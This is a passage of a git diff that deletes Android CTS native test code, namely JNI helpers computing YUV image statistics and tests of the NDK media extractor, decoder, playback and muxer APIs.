-        yrow += yrowInc;
-        if (bottomOdd ^ (y & 1)) {
-            urow += urowInc;
-            vrow += vrowInc;
-        }
-    }
-
-    rawStats[0] = img->plane[0].cropWidth * (uint64_t)img->plane[0].cropHeight;
-    for (size_t i = 0; i < 3; i++) {
-        rawStats[i + 1] = sum_x[i];
-        rawStats[i + 4] = sum_xx[i];
-        rawStats[i + 7] = sum_xy[i];
-    }
-}
-
-bool Raw2YUVStats(jlong rawStats[10], jfloat stats[9]) {
-    int64_t sum_x[3], sum_xx[3]; // Y, U, V
-    int64_t sum_xy[3];           // YU, YV, UV
-
-    int64_t num = rawStats[0];   // #Y,U,V
-    for (size_t i = 0; i < 3; i++) {
-        sum_x[i] = rawStats[i + 1];
-        sum_xx[i] = rawStats[i + 4];
-        sum_xy[i] = rawStats[i + 7];
-    }
-
-    if (num > 0) {
-        stats[0] = sum_x[0] / (float)num;  // y average
-        stats[1] = sum_x[1] / (float)num;  // u average
-        stats[2] = sum_x[2] / (float)num;  // v average
-
-        // 60 bits for 4Mpixel image
-        // adding 1 to avoid degenerate case when deviation is 0
-        stats[3] = sqrtf((sum_xx[0] + 1) * num - sum_x[0] * sum_x[0]) / num; // y stdev
-        stats[4] = sqrtf((sum_xx[1] + 1) * num - sum_x[1] * sum_x[1]) / num; // u stdev
-        stats[5] = sqrtf((sum_xx[2] + 1) * num - sum_x[2] * sum_x[2]) / num; // v stdev
-
-        // yu covar
-        stats[6] = (float)(sum_xy[0] + 1 - sum_x[0] * sum_x[1] / num) / num / stats[3] / stats[4];
-        // yv covar
-        stats[7] = (float)(sum_xy[1] + 1 - sum_x[0] * sum_x[2] / num) / num / stats[3] / stats[5];
-        // uv covar
-        stats[8] = (float)(sum_xy[2] + 1 - sum_x[1] * sum_x[2] / num) / num / stats[4] / stats[5];
-        return true;
-    } else {
-        return false;
-    }
-}
-
-extern "C" jobject Java_android_media_cts_CodecUtils_getRawStats(JNIEnv *env,
-        jclass /*clazz*/, jobject image, jobject area)
-{
-    NativeImage *img = getNativeImage(env, image, area);
-    if (img == NULL) {
-        return NULL;
-    }
-
-    jlong rawStats[10];
-    getRawStats(img, rawStats);
-    jlongArray jstats = env->NewLongArray(10);
-    if (jstats != NULL) {
-        env->SetLongArrayRegion(jstats, 0, 10, rawStats);
-    }
-    return jstats;
-}
-
-extern "C" jobject Java_android_media_cts_CodecUtils_getYUVStats(JNIEnv *env,
-        jclass /*clazz*/, jobject image, jobject area)
-{
-    NativeImage *img = getNativeImage(env, image, area);
-    if (img == NULL) {
-        return NULL;
-    }
-
-    jlong rawStats[10];
-    getRawStats(img, rawStats);
-    jfloat stats[9];
-    jfloatArray jstats = NULL;
-    if (Raw2YUVStats(rawStats, stats)) {
-        jstats = env->NewFloatArray(9);
-        if (jstats != NULL) {
-            env->SetFloatArrayRegion(jstats, 0, 9, stats);
-        }
-    } else {
-        jniThrowRuntimeException(env, "empty area");
-    }
-
-    return jstats;
-}
-
-extern "C" jobject Java_android_media_cts_CodecUtils_Raw2YUVStats(JNIEnv *env,
-        jclass /*clazz*/, jobject jrawStats)
-{
-    jfloatArray jstats = NULL;
-    jlong rawStats[10];
-    env->GetLongArrayRegion((jlongArray)jrawStats, 0, 10, rawStats);
-    if (!env->ExceptionCheck()) {
-        jfloat stats[9];
-        if (Raw2YUVStats(rawStats, stats)) {
-            jstats = env->NewFloatArray(9);
-            if (jstats != NULL) {
-                env->SetFloatArrayRegion(jstats, 0, 9, stats);
-            }
-        } else {
-            jniThrowRuntimeException(env, "no raw statistics");
-        }
-    }
-    return jstats;
-}
diff --git a/tests/tests/media/libmediandkjni/native-media-jni.cpp b/tests/tests/media/libmediandkjni/native-media-jni.cpp
deleted file mode 100644
index b8ff13a..0000000
--- a/tests/tests/media/libmediandkjni/native-media-jni.cpp
+++ /dev/null
@@ -1,1528 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* Original code copied from NDK Native-media sample code */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMedia"
-#include <log/log.h>
-
-#include <assert.h>
-#include <jni.h>
-#include <mutex>
-#include <pthread.h>
-#include <queue>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <semaphore.h>
-
-#include <android/native_window_jni.h>
-#include <EGL/egl.h>
-#include <EGL/eglext.h>
-
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaDataSource.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-template <class T>
-class simplevector {
-    T *storage;
-    int capacity;
-    int numfilled;
-public:
-    simplevector() {
-        capacity = 16;
-        numfilled = 0;
-        storage = new T[capacity];
-    }
-    ~simplevector() {
-        delete[] storage;
-    }
-
-    void add(T item) {
-        if (numfilled == capacity) {
-            T *old = storage;
-            capacity *= 2;
-            storage = new T[capacity];
-            for (int i = 0; i < numfilled; i++) {
-                storage[i] = old[i];
-            }
-            delete[] old;
-        }
-        storage[numfilled] = item;
-        numfilled++;
-    }
-
-    int size() {
-        return numfilled;
-    }
-
-    T* data() {
-        return storage;
-    }
-};
-
-struct FdDataSource {
-
-    FdDataSource(int fd, jlong offset, jlong size)
-        : mFd(dup(fd)),
-          mOffset(offset),
-          mSize(size) {
-    }
-
-    ssize_t readAt(off64_t offset, void *data, size_t size) {
-        ssize_t ssize = size;
-        if (!data || offset < 0 || offset + ssize < offset) {
-            return -1;
-        }
-        if (offset >= mSize) {
-            return 0; // EOS
-        }
-        if (offset + ssize > mSize) {
-            ssize = mSize - offset;
-        }
-        if (lseek(mFd, mOffset + offset, SEEK_SET) < 0) {
-            return -1;
-        }
-        return read(mFd, data, ssize);
-    }
-
-    ssize_t getSize() {
-        return mSize;
-    }
-
-    void close() {
-        ::close(mFd);
-    }
-
-private:
-
-    int mFd;
-    off64_t mOffset;
-    int64_t mSize;
-
-};
-
-static ssize_t FdSourceReadAt(void *userdata, off64_t offset, void *data, size_t size) {
-    FdDataSource *src = (FdDataSource*) userdata;
-    return src->readAt(offset, data, size);
-}
-
-static ssize_t FdSourceGetSize(void *userdata) {
-    FdDataSource *src = (FdDataSource*) userdata;
-    return src->getSize();
-}
-
-static void FdSourceClose(void *userdata) {
-    FdDataSource *src = (FdDataSource*) userdata;
-    src->close();
-}
-
-class CallbackData {
-    std::mutex mMutex;
-    std::queue<int32_t> mInputBufferIds;
-    std::queue<int32_t> mOutputBufferIds;
-    std::queue<AMediaCodecBufferInfo> mOutputBufferInfos;
-    std::queue<AMediaFormat*> mFormats;
-
-public:
-    CallbackData() { }
-
-    ~CallbackData() {
-        mMutex.lock();
-        while (!mFormats.empty()) {
-            AMediaFormat* format = mFormats.front();
-            mFormats.pop();
-            AMediaFormat_delete(format);
-        }
-        mMutex.unlock();
-    }
-
-    void addInputBufferId(int32_t index) {
-        mMutex.lock();
-        mInputBufferIds.push(index);
-        mMutex.unlock();
-    }
-
-    int32_t getInputBufferId() {
-        int32_t id = -1;
-        mMutex.lock();
-        if (!mInputBufferIds.empty()) {
-            id = mInputBufferIds.front();
-            mInputBufferIds.pop();
-        }
-        mMutex.unlock();
-        return id;
-    }
-
-    void addOutputBuffer(int32_t index, AMediaCodecBufferInfo *bufferInfo) {
-        mMutex.lock();
-        mOutputBufferIds.push(index);
-        mOutputBufferInfos.push(*bufferInfo);
-        mMutex.unlock();
-    }
-
-    void addOutputFormat(AMediaFormat *format) {
-        mMutex.lock();
-        mOutputBufferIds.push(AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED);
-        mFormats.push(format);
-        mMutex.unlock();
-    }
-
-    int32_t getOutput(AMediaCodecBufferInfo *bufferInfo, AMediaFormat **format) {
-        int32_t id = AMEDIACODEC_INFO_TRY_AGAIN_LATER;
-        mMutex.lock();
-        if (!mOutputBufferIds.empty()) {
-            id = mOutputBufferIds.front();
-            mOutputBufferIds.pop();
-
-            if (id >= 0) {
-                *bufferInfo = mOutputBufferInfos.front();
-                mOutputBufferInfos.pop();
-            } else {  // AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED
-                *format = mFormats.front();
-                mFormats.pop();
-            }
-        }
-        mMutex.unlock();
-        return id;
-    }
-};
-
-static void OnInputAvailableCB(
-        AMediaCodec * /* aMediaCodec */,
-        void *userdata,
-        int32_t index) {
-    ALOGV("OnInputAvailableCB: index(%d)", index);
-    CallbackData *callbackData = (CallbackData *)userdata;
-    callbackData->addInputBufferId(index);
-}
-
-static void OnOutputAvailableCB(
-        AMediaCodec * /* aMediaCodec */,
-        void *userdata,
-        int32_t index,
-        AMediaCodecBufferInfo *bufferInfo) {
-    ALOGV("OnOutputAvailableCB: index(%d), (%d, %d, %lld, 0x%x)",
-          index, bufferInfo->offset, bufferInfo->size,
-          (long long)bufferInfo->presentationTimeUs, bufferInfo->flags);
-    CallbackData *callbackData = (CallbackData *)userdata;
-    callbackData->addOutputBuffer(index, bufferInfo);
-}
-
-static void OnFormatChangedCB(
-        AMediaCodec * /* aMediaCodec */,
-        void *userdata,
-        AMediaFormat *format) {
-    ALOGV("OnFormatChangedCB: format(%s)", AMediaFormat_toString(format));
-    CallbackData *callbackData = (CallbackData *)userdata;
-    callbackData->addOutputFormat(format);
-}
-
-static void OnErrorCB(
-        AMediaCodec * /* aMediaCodec */,
-        void * /* userdata */,
-        media_status_t err,
-        int32_t actionCode,
-        const char *detail) {
-    ALOGV("OnErrorCB: err(%d), actionCode(%d), detail(%s)", err, actionCode, detail);
-}
-
-static int adler32(const uint8_t *input, int len) {
-
-    int a = 1;
-    int b = 0;
-    for (int i = 0; i < len; i++) {
-        a += input[i];
-        b += a;
-        a = a % 65521;
-        b = b % 65521;
-    }
-    int ret = b * 65536 + a;
-    ALOGV("adler %d/%d", len, ret);
-    return ret;
-}
-
-jobject testExtractor(AMediaExtractor *ex, JNIEnv *env) {
-
-    simplevector<int> sizes;
-    int numtracks = AMediaExtractor_getTrackCount(ex);
-    sizes.add(numtracks);
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
-        const char *s = AMediaFormat_toString(format);
-        ALOGI("track %d format: %s", i, s);
-        const char *mime;
-        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
-            ALOGE("no mime type");
-            return NULL;
-        } else if (!strncmp(mime, "audio/", 6)) {
-            sizes.add(0);
-            int32_t val32;
-            int64_t val64;
-            AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_SAMPLE_RATE, &val32);
-            sizes.add(val32);
-            AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_CHANNEL_COUNT, &val32);
-            sizes.add(val32);
-            AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &val64);
-            sizes.add(val64);
-        } else if (!strncmp(mime, "video/", 6)) {
-            sizes.add(1);
-            int32_t val32;
-            int64_t val64;
-            AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &val32);
-            sizes.add(val32);
-            AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &val32);
-            sizes.add(val32);
-            AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &val64);
-            sizes.add(val64);
-        } else {
-            ALOGE("expected audio or video mime type, got %s", mime);
-        }
-        AMediaFormat_delete(format);
-        AMediaExtractor_selectTrack(ex, i);
-    }
-    int bufsize = 1024*1024;
-    uint8_t *buf = new uint8_t[bufsize];
-    while(true) {
-        int n = AMediaExtractor_readSampleData(ex, buf, bufsize);
-        ssize_t sampleSize = AMediaExtractor_getSampleSize(ex);
-        if (n < 0 || n != sampleSize) {
-            break;
-        }
-        sizes.add(n);
-        sizes.add(AMediaExtractor_getSampleTrackIndex(ex));
-        sizes.add(AMediaExtractor_getSampleFlags(ex));
-        sizes.add(AMediaExtractor_getSampleTime(ex));
-        sizes.add(adler32(buf, n));
-        AMediaExtractor_advance(ex);
-    }
-
-    // allocate java int array for result and return it
-    int *data = sizes.data();
-    int numsamples = sizes.size();
-    jintArray ret = env->NewIntArray(numsamples);
-    jboolean isCopy;
-    jint *dst = env->GetIntArrayElements(ret, &isCopy);
-    for (int i = 0; i < numsamples; ++i) {
-        dst[i] = data[i];
-    }
-    env->ReleaseIntArrayElements(ret, dst, 0);
-
-    delete[] buf;
-    AMediaExtractor_delete(ex);
-    return ret;
-}
-
-
-// get the sample sizes for the file
-extern "C" jobject Java_android_media_cts_NativeDecoderTest_getSampleSizesNative(JNIEnv *env,
-        jclass /*clazz*/, int fd, jlong offset, jlong size)
-{
-    AMediaExtractor *ex = AMediaExtractor_new();
-    int err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return NULL;
-    }
-    return testExtractor(ex, env);
-}
-
-// get the sample sizes for the path
-extern "C" jobject Java_android_media_cts_NativeDecoderTest_getSampleSizesNativePath(JNIEnv *env,
-        jclass /*clazz*/, jstring jpath, jobjectArray jkeys, jobjectArray jvalues,
-        jboolean testNativeSource)
-{
-    AMediaExtractor *ex = AMediaExtractor_new();
-
-    const char *tmp = env->GetStringUTFChars(jpath, NULL);
-    if (tmp == NULL) {  // Out of memory
-        return NULL;
-    }
-
-    int numkeys = jkeys ? env->GetArrayLength(jkeys) : 0;
-    int numvalues = jvalues ? env->GetArrayLength(jvalues) : 0;
-    int numheaders = numkeys < numvalues ? numkeys : numvalues;
-    const char **key_values = numheaders ? new const char *[numheaders * 2] : NULL;
-    for (int i = 0; i < numheaders; i++) {
-        jstring jkey = (jstring) (env->GetObjectArrayElement(jkeys, i));
-        jstring jvalue = (jstring) (env->GetObjectArrayElement(jvalues, i));
-        const char *key = env->GetStringUTFChars(jkey, NULL);
-        const char *value = env->GetStringUTFChars(jvalue, NULL);
-        key_values[i * 2] = key;
-        key_values[i * 2 + 1] = value;
-    }
-
-    int err;
-    AMediaDataSource *src = NULL;
-    if (testNativeSource) {
-        src = AMediaDataSource_newUri(tmp, numheaders, key_values);
-        err = src ? AMediaExtractor_setDataSourceCustom(ex, src) : -1;
-    } else {
-        err = AMediaExtractor_setDataSource(ex, tmp);
-    }
-
-    for (int i = 0; i < numheaders; i++) {
-        jstring jkey = (jstring) (env->GetObjectArrayElement(jkeys, i));
-        jstring jvalue = (jstring) (env->GetObjectArrayElement(jvalues, i));
-        env->ReleaseStringUTFChars(jkey, key_values[i * 2]);
-        env->ReleaseStringUTFChars(jvalue, key_values[i * 2 + 1]);
-    }
-
-    env->ReleaseStringUTFChars(jpath, tmp);
-    delete[] key_values;
-
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        AMediaExtractor_delete(ex);
-        AMediaDataSource_delete(src);
-        return NULL;
-    }
-
-    jobject ret = testExtractor(ex, env);
-    AMediaDataSource_delete(src);
-    return ret;
-}
-
-static int checksum(const uint8_t *in, int len, AMediaFormat *format) {
-    int width, stride, height;
-    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_WIDTH, &width)) {
-        width = len;
-    }
-    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_STRIDE, &stride)) {
-        stride = width;
-    }
-    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_HEIGHT, &height)) {
-        height = 1;
-    }
-    uint8_t *bb = new uint8_t[width * height];
-    for (int i = 0; i < height; i++) {
-        memcpy(bb + i * width, in + i * stride, width);
-    }
-    // bb is filled with data
-    int sum = adler32(bb, width * height);
-    delete[] bb;
-    return sum;
-}
-
-extern "C" jlong Java_android_media_cts_NativeDecoderTest_getExtractorFileDurationNative(
-        JNIEnv * /*env*/, jclass /*clazz*/, int fd, jlong offset, jlong size)
-{
-    AMediaExtractor *ex = AMediaExtractor_new();
-    int err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        AMediaExtractor_delete(ex);
-        return -1;
-    }
-    int64_t durationUs = -1;
-    AMediaFormat *format = AMediaExtractor_getFileFormat(ex);
-    AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &durationUs);
-    AMediaFormat_delete(format);
-    AMediaExtractor_delete(ex);
-    return durationUs;
-}
-
-extern "C" jlong Java_android_media_cts_NativeDecoderTest_getExtractorCachedDurationNative(
-        JNIEnv * env, jclass /*clazz*/, jstring jpath, jboolean testNativeSource)
-{
-    AMediaExtractor *ex = AMediaExtractor_new();
-
-    const char *tmp = env->GetStringUTFChars(jpath, NULL);
-    if (tmp == NULL) {  // Out of memory
-        AMediaExtractor_delete(ex);
-        return -1;
-    }
-
-    int err;
-    AMediaDataSource *src = NULL;
-    if (testNativeSource) {
-        src = AMediaDataSource_newUri(tmp, 0, NULL);
-        err = src ? AMediaExtractor_setDataSourceCustom(ex, src) : -1;
-    } else {
-        err = AMediaExtractor_setDataSource(ex, tmp);
-    }
-
-    env->ReleaseStringUTFChars(jpath, tmp);
-
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        AMediaExtractor_delete(ex);
-        AMediaDataSource_delete(src);
-        return -1;
-    }
-
-    int64_t cachedDurationUs = AMediaExtractor_getCachedDuration(ex);
-    AMediaExtractor_delete(ex);
-    AMediaDataSource_delete(src);
-    return cachedDurationUs;
-
-}
-
-extern "C" jobject Java_android_media_cts_NativeDecoderTest_getDecodedDataNative(JNIEnv *env,
-        jclass /*clazz*/, int fd, jlong offset, jlong size, jboolean wrapFd, jboolean useCallback) {
-    ALOGV("getDecodedDataNative");
-
-    FdDataSource fdSrc(fd, offset, size);
-    AMediaExtractor *ex = AMediaExtractor_new();
-    AMediaDataSource *ndkSrc = AMediaDataSource_new();
-
-    int err;
-    if (wrapFd) {
-        AMediaDataSource_setUserdata(ndkSrc, &fdSrc);
-        AMediaDataSource_setReadAt(ndkSrc, FdSourceReadAt);
-        AMediaDataSource_setGetSize(ndkSrc, FdSourceGetSize);
-        AMediaDataSource_setClose(ndkSrc, FdSourceClose);
-        err = AMediaExtractor_setDataSourceCustom(ex, ndkSrc);
-    } else {
-        err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
-    }
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return NULL;
-    }
-
-    int numtracks = AMediaExtractor_getTrackCount(ex);
-
-    AMediaCodec **codec = new AMediaCodec*[numtracks];
-    AMediaFormat **format = new AMediaFormat*[numtracks];
-    memset(format, 0, sizeof(AMediaFormat*) * numtracks);
-    bool *sawInputEOS = new bool[numtracks];
-    bool *sawOutputEOS = new bool[numtracks];
-    simplevector<int> *sizes = new simplevector<int>[numtracks];
-    CallbackData *callbackData = new CallbackData[numtracks];
-
-    ALOGV("input has %d tracks", numtracks);
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
-        const char *s = AMediaFormat_toString(format);
-        ALOGI("track %d format: %s", i, s);
-        const char *mime;
-        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
-            ALOGE("no mime type");
-            return NULL;
-        } else if (!strncmp(mime, "audio/", 6) || !strncmp(mime, "video/", 6)) {
-            codec[i] = AMediaCodec_createDecoderByType(mime);
-            AMediaCodec_configure(codec[i], format, NULL /* surface */, NULL /* crypto */, 0);
-            if (useCallback) {
-                AMediaCodecOnAsyncNotifyCallback aCB = {
-                    OnInputAvailableCB,
-                    OnOutputAvailableCB,
-                    OnFormatChangedCB,
-                    OnErrorCB
-                };
-                AMediaCodec_setAsyncNotifyCallback(codec[i], aCB, &callbackData[i]);
-            }
-            AMediaCodec_start(codec[i]);
-            sawInputEOS[i] = false;
-            sawOutputEOS[i] = false;
-        } else {
-            ALOGE("expected audio or video mime type, got %s", mime);
-            return NULL;
-        }
-        AMediaFormat_delete(format);
-        AMediaExtractor_selectTrack(ex, i);
-    }
-    int eosCount = 0;
-    while(eosCount < numtracks) {
-        int t = AMediaExtractor_getSampleTrackIndex(ex);
-        if (t >=0) {
-            ssize_t bufidx;
-            if (useCallback) {
-                bufidx = callbackData[t].getInputBufferId();
-            } else {
-                bufidx = AMediaCodec_dequeueInputBuffer(codec[t], 5000);
-            }
-            ALOGV("track %d, input buffer %zd", t, bufidx);
-            if (bufidx >= 0) {
-                size_t bufsize;
-                uint8_t *buf = AMediaCodec_getInputBuffer(codec[t], bufidx, &bufsize);
-                int sampleSize = AMediaExtractor_readSampleData(ex, buf, bufsize);
-                ALOGV("read %d", sampleSize);
-                if (sampleSize < 0) {
-                    sampleSize = 0;
-                    sawInputEOS[t] = true;
-                    ALOGV("EOS");
-                    //break;
-                }
-                int64_t presentationTimeUs = AMediaExtractor_getSampleTime(ex);
-
-                AMediaCodec_queueInputBuffer(codec[t], bufidx, 0, sampleSize, presentationTimeUs,
-                        sawInputEOS[t] ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
-                AMediaExtractor_advance(ex);
-            }
-        } else {
-            ALOGV("@@@@ no more input samples");
-            for (int tt = 0; tt < numtracks; tt++) {
-                if (!sawInputEOS[tt]) {
-                    // we ran out of samples without ever signaling EOS to the codec,
-                    // so do that now
-                    int bufidx;
-                    if (useCallback) {
-                        bufidx = callbackData[tt].getInputBufferId();
-                    } else {
-                        bufidx = AMediaCodec_dequeueInputBuffer(codec[tt], 5000);
-                    }
-                    if (bufidx >= 0) {
-                        AMediaCodec_queueInputBuffer(codec[tt], bufidx, 0, 0, 0,
-                                AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
-                        sawInputEOS[tt] = true;
-                    }
-                }
-            }
-        }
-
-        // check all codecs for available data
-        AMediaCodecBufferInfo info;
-        AMediaFormat *outputFormat;
-        for (int tt = 0; tt < numtracks; tt++) {
-            if (!sawOutputEOS[tt]) {
-                int status;
-                if (useCallback) {
-                    status = callbackData[tt].getOutput(&info, &outputFormat);
-                } else {
-                    status = AMediaCodec_dequeueOutputBuffer(codec[tt], &info, 1);
-                }
-                ALOGV("dequeueoutput on track %d: %d", tt, status);
-                if (status >= 0) {
-                    if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                        ALOGV("EOS on track %d", tt);
-                        sawOutputEOS[tt] = true;
-                        eosCount++;
-                    }
-                    ALOGV("got decoded buffer for track %d, size %d", tt, info.size);
-                    if (info.size > 0) {
-                        size_t bufsize;
-                        uint8_t *buf = AMediaCodec_getOutputBuffer(codec[tt], status, &bufsize);
-                        int adler = checksum(buf, info.size, format[tt]);
-                        sizes[tt].add(adler);
-                    }
-                    AMediaCodec_releaseOutputBuffer(codec[tt], status, false);
-                } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-                    ALOGV("output buffers changed for track %d", tt);
-                } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-                    if (format[tt] != NULL) {
-                        AMediaFormat_delete(format[tt]);
-                    }
-                    if (useCallback) {
-                        format[tt] = outputFormat;
-                    } else {
-                        format[tt] = AMediaCodec_getOutputFormat(codec[tt]);
-                    }
-                    ALOGV("format changed for track %d: %s", tt, AMediaFormat_toString(format[tt]));
-                } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-                    ALOGV("no output buffer right now for track %d", tt);
-                } else {
-                    ALOGV("unexpected info code for track %d : %d", tt, status);
-                }
-            } else {
-                ALOGV("already at EOS on track %d", tt);
-            }
-        }
-    }
-    ALOGV("decoding loop done");
-
-    // allocate java int array for result and return it
-    int numsamples = 0;
-    for (int i = 0; i < numtracks; i++) {
-        numsamples += sizes[i].size();
-    }
-    ALOGV("checksums: %d", numsamples);
-    jintArray ret = env->NewIntArray(numsamples);
-    jboolean isCopy;
-    jint *org = env->GetIntArrayElements(ret, &isCopy);
-    jint *dst = org;
-    for (int i = 0; i < numtracks; i++) {
-        int *data = sizes[i].data();
-        int len = sizes[i].size();
-        ALOGV("copying %d", len);
-        for (int j = 0; j < len; j++) {
-            *dst++ = data[j];
-        }
-    }
-    env->ReleaseIntArrayElements(ret, org, 0);
-
-    delete[] callbackData;
-    delete[] sizes;
-    delete[] sawOutputEOS;
-    delete[] sawInputEOS;
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat_delete(format[i]);
-        AMediaCodec_stop(codec[i]);
-        AMediaCodec_delete(codec[i]);
-    }
-    delete[] format;
-    delete[] codec;
-    AMediaExtractor_delete(ex);
-    AMediaDataSource_delete(ndkSrc);
-    return ret;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testPlaybackNative(JNIEnv *env,
-        jclass /*clazz*/, jobject surface, int fd, jlong offset, jlong size) {
-
-    ANativeWindow *window = ANativeWindow_fromSurface(env, surface);
-    ALOGI("@@@@ native window: %p", window);
-
-    AMediaExtractor *ex = AMediaExtractor_new();
-    int err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return false;
-    }
-
-    int numtracks = AMediaExtractor_getTrackCount(ex);
-
-    AMediaCodec *codec = NULL;
-    AMediaFormat *format = NULL;
-    bool sawInputEOS = false;
-    bool sawOutputEOS = false;
-
-    ALOGV("input has %d tracks", numtracks);
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
-        const char *s = AMediaFormat_toString(format);
-        ALOGI("track %d format: %s", i, s);
-        const char *mime;
-        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
-            ALOGE("no mime type");
-            return false;
-        } else if (!strncmp(mime, "video/", 6)) {
-            codec = AMediaCodec_createDecoderByType(mime);
-            AMediaCodec_configure(codec, format, window, NULL, 0);
-            AMediaCodec_start(codec);
-            AMediaExtractor_selectTrack(ex, i);
-        }
-        AMediaFormat_delete(format);
-    }
-
-    while (!sawOutputEOS) {
-        ssize_t bufidx = AMediaCodec_dequeueInputBuffer(codec, 5000);
-        ALOGV("input buffer %zd", bufidx);
-        if (bufidx >= 0) {
-            size_t bufsize;
-            uint8_t *buf = AMediaCodec_getInputBuffer(codec, bufidx, &bufsize);
-            int sampleSize = AMediaExtractor_readSampleData(ex, buf, bufsize);
-            ALOGV("read %d", sampleSize);
-            if (sampleSize < 0) {
-                sampleSize = 0;
-                sawInputEOS = true;
-                ALOGV("EOS");
-            }
-            int64_t presentationTimeUs = AMediaExtractor_getSampleTime(ex);
-
-            AMediaCodec_queueInputBuffer(codec, bufidx, 0, sampleSize, presentationTimeUs,
-                    sawInputEOS ? AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM : 0);
-            AMediaExtractor_advance(ex);
-        }
-
-        AMediaCodecBufferInfo info;
-        int status = AMediaCodec_dequeueOutputBuffer(codec, &info, 1);
-        ALOGV("dequeueoutput returned: %d", status);
-        if (status >= 0) {
-            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                ALOGV("output EOS");
-                sawOutputEOS = true;
-            }
-            ALOGV("got decoded buffer size %d", info.size);
-            AMediaCodec_releaseOutputBuffer(codec, status, true);
-            usleep(20000);
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-            ALOGV("output buffers changed");
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-            format = AMediaCodec_getOutputFormat(codec);
-            ALOGV("format changed to: %s", AMediaFormat_toString(format));
-        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-            ALOGV("no output buffer right now");
-        } else {
-            ALOGV("unexpected info code: %d", status);
-        }
-    }
-
-    AMediaCodec_stop(codec);
-    AMediaCodec_delete(codec);
-    AMediaExtractor_delete(ex);
-    return true;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeDecoderTest_testMuxerNative(JNIEnv */*env*/,
-        jclass /*clazz*/, int infd, jlong inoffset, jlong insize, int outfd, jboolean webm) {
-
-
-    AMediaMuxer *muxer = AMediaMuxer_new(outfd,
-            webm ? AMEDIAMUXER_OUTPUT_FORMAT_WEBM : AMEDIAMUXER_OUTPUT_FORMAT_MPEG_4);
-
-    AMediaExtractor *ex = AMediaExtractor_new();
-    int err = AMediaExtractor_setDataSourceFd(ex, infd, inoffset, insize);
-    if (err != 0) {
-        ALOGE("setDataSource error: %d", err);
-        return false;
-    }
-
-    int numtracks = AMediaExtractor_getTrackCount(ex);
-    ALOGI("input tracks: %d", numtracks);
-    for (int i = 0; i < numtracks; i++) {
-        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
-        const char *s = AMediaFormat_toString(format);
-        ALOGI("track %d format: %s", i, s);
-        const char *mime;
-        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
-            ALOGE("no mime type");
-            return false;
-        } else if (!strncmp(mime, "audio/", 6) || !strncmp(mime, "video/", 6)) {
-            ssize_t tidx = AMediaMuxer_addTrack(muxer, format);
-            ALOGI("track %d -> %zd format %s", i, tidx, s);
-            AMediaExtractor_selectTrack(ex, i);
-        } else {
-            ALOGE("expected audio or video mime type, got %s", mime);
-            return false;
-        }
-        AMediaFormat_delete(format);
-        AMediaExtractor_selectTrack(ex, i);
-    }
-    AMediaMuxer_start(muxer);
-
-    int bufsize = 1024*1024;
